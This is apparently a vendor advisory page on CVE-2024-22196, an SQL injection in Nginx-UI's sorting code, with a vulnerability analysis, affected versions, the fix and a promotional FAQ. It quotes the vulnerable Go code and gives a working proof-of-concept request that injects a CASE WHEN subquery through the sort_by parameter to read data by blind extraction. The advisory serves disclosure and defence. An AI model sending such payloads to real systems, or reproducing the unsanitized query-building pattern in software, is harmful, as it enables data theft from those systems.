CVE-2024-22196

The OrderAndPaginate function is used to order and paginate data. It is defined as follows:

func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB {
	return func(db *gorm.DB) *gorm.DB {
		sort := c.DefaultQuery("order", "desc")

		order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort)
		db = db.Order(order)

		...
	}
}

By using DefaultQuery, the "desc" and "id" values are used as default values if the query parameters are not set. Thus, the order and sort_by query parameter are user-controlled and are being appended to the order variable without any sanitization.
The same happens with SortOrder, but it doesn't seem to be used anywhere.

func SortOrder(c *gin.Context) func(db *gorm.DB) *gorm.DB {
	return func(db *gorm.DB) *gorm.DB {
		sort := c.DefaultQuery("order", "desc")
		order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort)
		return db.Order(order)
	}
}

This issue was found using CodeQL for Go: Database query built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.
In order to exploit this issue, we need to find a place where the OrderAndPaginate function is used. We can find it in the GET /api/dns_credentials endpoint.

func GetDnsCredentialList(c *gin.Context) {
	cosy.Core[model.DnsCredential](c).SetFussy("provider").PagingList()
}

The PagingList function is defined as follows:

func (c *Ctx[T]) PagingList() {
	data, ok := c.PagingListData()
	if ok {
		c.ctx.JSON(http.StatusOK, data)
	}
}

And the PagingListData function is defined as follows:

func (c *Ctx[T]) PagingListData() (*model.DataList, bool) {
	result, ok := c.result()
	if !ok {
		return nil, false
	}

	result = result.Scopes(c.OrderAndPaginate())
	...
}

Using the following request, an attacker can retrieve arbitrary values by checking the order used by the query. That is, the result of the comparison will make the response to be ordered in a specific way.

GET /api/dns_credentials?sort_by=(CASE+WHEN+(SELECT+1)=1+THEN+id+ELSE+updated_at+END)+ASC+--+ HTTP/1.1
Host: 127.0.0.1:8080
Authorization: <<JWT TOKEN>

You can notice the order change by changing =1 to =2, and so the comparison will return false and the order will be updated_at instead of id.

This issue may lead to Information Disclosure

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2024-22196 has a CVSS score of 7.0 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0.beta.9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-22196? CVE-2024-22196 is a high-severity SQL injection vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 2.0.0.beta.9. It is fixed in 2.0.0.beta.9. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2024-22196? CVE-2024-22196 has a CVSS score of 7.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2024-22196? github.com/0xJacky/Nginx-UI (go) versions < 2.0.0.beta.9 is affected.
4. Is there a fix for CVE-2024-22196? Yes. CVE-2024-22196 is fixed in 2.0.0.beta.9. Upgrade to this version or later.
5. Is CVE-2024-22196 exploitable, and should I be worried? Whether CVE-2024-22196 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-22196 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-22196? Upgrade github.com/0xJacky/Nginx-UI to 2.0.0.beta.9 or later.